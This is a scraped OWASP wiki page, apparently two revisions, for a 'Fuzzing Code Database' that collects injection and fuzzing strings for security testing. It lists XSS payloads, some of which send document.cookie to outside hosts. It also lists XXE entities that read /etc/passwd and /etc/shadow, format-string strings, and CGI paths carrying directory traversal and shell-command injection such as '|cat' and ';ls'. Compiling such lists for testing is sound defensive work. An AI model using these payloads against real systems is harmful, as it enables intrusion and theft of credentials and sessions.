HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80085 2010-03-17T21:17:10Z

<p>Adam.muntner: /* All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> 